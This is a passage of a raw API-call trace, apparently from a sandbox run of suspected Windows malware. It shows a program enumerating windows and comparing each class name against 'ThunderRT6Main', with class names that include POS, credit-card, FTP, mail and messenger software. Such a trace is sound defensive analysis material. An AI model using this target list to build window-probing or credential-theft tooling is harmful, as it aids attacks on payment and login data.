GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0140.674] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.674] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0140.674] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0140.674] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0140.674] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0140.674] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0140.675] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0140.675] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0140.675] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0140.675] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0140.675] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0140.675] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0140.675] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0140.675] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0140.675] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0140.675] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0140.675] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0140.675] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0140.675] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0140.675] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0140.675] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0140.675] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0140.675] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.675] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0140.676] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0140.676] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0140.676] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0140.676] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0140.676] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.676] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0140.676] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0140.676] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0140.676] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0140.676] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0140.676] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.676] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0140.676] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0140.676] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0140.676] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0140.676] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0140.676] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.676] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.676] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0140.676] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0140.677] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0140.677] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0140.677] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0140.677] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.677] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0140.677] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0140.677] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0140.677] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0140.677] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0140.677] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.677] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0140.677] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0140.677] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0140.677] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0140.677] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0140.677] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.677] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.677] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0140.677] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0140.677] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0140.677] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0140.678] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0140.678] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.678] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0140.678] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0140.678] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0140.678] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0140.678] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0140.678] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.678] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0140.678] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0140.678] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0140.678] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0140.678] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0140.678] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.678] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0140.678] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0140.678] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0140.678] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0140.678] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0140.679] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0140.679] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.679] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0140.679] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0140.679] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0140.679] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0140.679] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0140.679] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.679] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0140.679] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0140.679] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0140.679] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0140.679] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0140.679] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.679] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0140.679] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0140.679] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0140.679] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0140.679] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0140.679] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0140.679] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.680] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0140.680] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0140.680] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0140.680] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0140.680] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0140.680] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.680] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0140.680] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0140.680] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0140.680] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0140.680] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0140.680] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.680] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0140.680] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0140.680] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0140.680] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0140.680] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0140.680] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.680] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.680] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0140.681] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0140.681] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0140.681] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0140.681] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0140.681] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.681] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0140.681] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0140.681] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0140.681] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0140.681] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0140.681] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.681] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0140.681] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0140.681] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0140.681] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0140.681] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0140.681] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.681] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.681] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0140.681] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0140.681] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0140.681] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0140.682] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0140.682] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0140.682] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0140.682] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0140.682] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0140.682] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0140.682] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0140.682] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0140.682] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0140.682] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0140.682] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0140.682] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0140.682] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0140.682] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0140.682] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0140.682] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0140.682] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0140.682] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.682] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0140.683] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0140.683] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0140.683] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0140.683] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0140.683] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.683] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0140.683] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0140.683] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0140.683] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0140.683] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0140.683] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.683] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0140.683] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0140.683] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0140.683] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0140.683] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0140.683] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.683] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.683] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0140.683] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0140.683] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0140.684] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0140.684] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0140.684] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.684] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0140.684] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0140.684] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0140.684] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0140.684] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0140.684] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.684] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0140.684] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0140.684] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0140.684] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0140.684] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0140.684] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.684] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0140.684] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0140.684] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0140.684] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x101cc, 